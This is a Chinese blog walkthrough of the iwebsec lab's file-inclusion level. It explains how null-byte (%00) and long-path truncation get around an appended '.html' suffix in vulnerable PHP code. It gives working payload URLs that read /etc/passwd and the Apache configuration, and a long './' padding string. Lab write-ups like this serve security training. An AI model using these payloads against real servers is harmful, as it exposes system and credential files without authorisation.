当前位置: 首页 > news >正文

iwebsec靶场 文件包含漏洞通关笔记2-文件包含绕过(截断法)

目录

前言

1.%00截断

2.文件字符长度截断法(又名超长文件截断)

方法1(路径截断法)

方法2(点号截断法)

第02关 文件包含绕过

1.打开靶场

2.源码分析

3.00文件截断原理

4.00截断的条件

5.文件包含00截断绕过

(1)访问test.txt

 (2)访问敏感文件

6.文件字符长度截断法(垃圾字符为./)


前言

文件包含漏洞中,在服务器执行一个PHP文件时可以通过文件包含函数执行另一个文件,无论这个文件是不是PHP为其后缀,都可以当成PHP执行。

文件上传的截断绕过通常源码包含如下字段,比如说传入的参数filename=phpinfo.txt,那么include时会为文件名加上 .html后缀,于是include的文件名就变为了phpinfo.txt.html,这样会导致文件包含漏洞利用出现失败。于是如何进行漏洞渗透,使得此时渗透过程中即便传入的参数为phpinfo.txt,但是包含的文件仍为phpinfo.txt,这个后缀.html加不到后面,就可以绕过这个文件包含的过滤了。

    $filename  = $_GET['filename'];include($filename . ".html");

通常来讲文件包含的绕过方法为%00截断以及字符长度截断法。

1.%00截断

前提是php<5.3.4且  magic_quotes_gpc=off,原理是%00是被会url解码成0x00,如果遇到0x00,就会认为读取已结束,所以导致截断。

2.文件字符长度截断法(又名超长文件截断)

方法1(路径截断法)

(1)前提是php版本<5.2.8
(2)Windows下目录最大长度为256字节,超出的部分会被丢弃;
(3)Linux下目录最大长度为4096字节,超出的部分会被丢弃。

方法2(点号截断法)

(1)仅适用windows系统

(2)当长度大于256B时才会造成扩展名截断

由于本关卡中iwebsec是搭建在docker中,使用linux系统故而只能使用路径截断法

第02关 文件包含绕过

1.打开靶场

iwebsec 靶场漏洞库iwebsecicon-default.png?t=N7T8http://iwebsec.com:81/fi/02.php

2.源码分析

如下所示,源码包含include函数具备文件包含漏洞

<?phprequire_once('../header.php');?>
<html><head><title>本地文件包含绕过</title></head><h2>本地文件包含绕过</h2><div class="alert alert-success"><p>/02.php?filename=test.txt%00 </p></div><body>
<?phpif(isset($_GET['filename'])){$filename  = $_GET['filename'];include($filename . ".html");}else{exit();}?>

不过文件包含的过程中,对filename的处理源码如下所示,是将文件名后加上.html的后缀,也就是如果filename=test,那么include的文件未test.html

    $filename  = $_GET['filename'];include($filename . ".html");

也就是说无论传入任意后缀的文件,尾部都会被加上.html后缀,那么考虑用%00截断方法,这样可以将后面的.html截断,include函数传入的参数仍为原始文件名

3.00文件截断原理

00/x00截断原理:0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。这个可以用在对文件类型名的绕过上。
服务器在解析过程中,遇到ascii码为零的位置就停止,而这个ascii码为零的位置在16进制中是00,用0x开头表示16进制,也就是所说的0x00截断。

这样的话,如果我们要包含的文件名字为test.txt,在服务器拼接上.html后再被include,文件名变为了test.txt.html,这样就没有办法进行渗透

test.txt.html

假设此时我们要包含的文件名为test.txt%00,这时候在在服务器拼接上.html后再被include,文件名变为了test.txt%00.html

test.txt%00.html

由于%00截断的原理,服务器在将%00解码后,发生了截断功效,于是文件名便为

test.txt

这样就实现了文件包含%00绕过截断

4.00截断的条件

第一点:PHP的版本要小于5.3.4 <

第二点:php中的设置文件php.ini中的 magic_quotes_gpc 要关闭,

若想修改magic_quotes_gpc,需要修改php.ini文件,将magic_quotes_gpc关闭掉

5.文件包含00截断绕过

(1)访问test.txt

iwebsec 靶场漏洞库iwebsecicon-default.png?t=N7T8http://iwebsec.com:81/fi/02.php?filename=test.txt%00

 (2)访问敏感文件

访问/etc/passwd, 如下所示渗透成功

iwebsec 靶场漏洞库iwebsecicon-default.png?t=N7T8http://iwebsec.com:81/fi/02.php?filename=/etc/passwd%00

 访问Apache的httpd配置文件,如下所示渗透成功

iwebsec 靶场漏洞库iwebsecicon-default.png?t=N7T8http://iwebsec.com:81/fi/02.php?filename=/etc/httpd/conf/httpd.conf%00

6.文件字符长度截断法(垃圾字符为./)

在这里构造垃圾字符时,有一个小技巧使用word文档构造./././一直累加,直到字符数超过4096即可

构造如下url,垃圾字符的长度在linux系统中要超过4096

http://iwebsec.com:81/fi/02.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

 如下所示渗透成功

http://www.lryc.cn/news/165084.html

相关文章:

  • 【基于Cocos Creator实现的赛车游戏】9.实现汽车节点的控制逻辑
  • 蓝蓝设计为教育行业提供软件UI交互设计服务
  • Java从入门到精通-类和对象(二)
  • Python解析MDX词典数据并保存到Excel
  • 线性代数的本质(四)
  • FreeMarker详细介绍
  • 房地产小程序 | 小程序赋能,房地产业务数字化升级
  • Databend 开源周报第 110 期
  • 开源大模型ChatGLM2-6B 1. 租一台GPU服务器测试下
  • SQL10 用where过滤空值练习
  • JVM--Hotspot Architecture 详解
  • ThreadLocal功能实现
  • Linux编辑器-vim使用
  • 自助式数据分析平台:JVS智能BI功能介绍(二)数据集管理
  • 《5G技术引领教育信息化新革命》
  • cmake学习过程记录
  • Vue3、Vite使用 html2canvas 把Html生成canvas转成图片并保存,以及填坑记录
  • centos yum源配置(CentOS7 原生 yum 源修改为阿里 yum 源)
  • linux————ansible
  • 初识Java 8-1 接口和抽象类
  • 微信小程序音频后台播放功能
  • NotePad——xml格式化插件xml tools在线安装+离线安装
  • 图书管理系统 数据结构先导课暨C语言大作业复习 | JorbanS
  • python 爬虫的开发环境配置
  • 技术架构图是什么?和业务架构图的区别是什么?
  • 数据增强
  • 【Unity】2D 对话模块的实现
  • laravel安装初步使用学习 composer安装
  • 【VS插件】VS code上的Remote - SSH
  • TensorFlow 02(张量)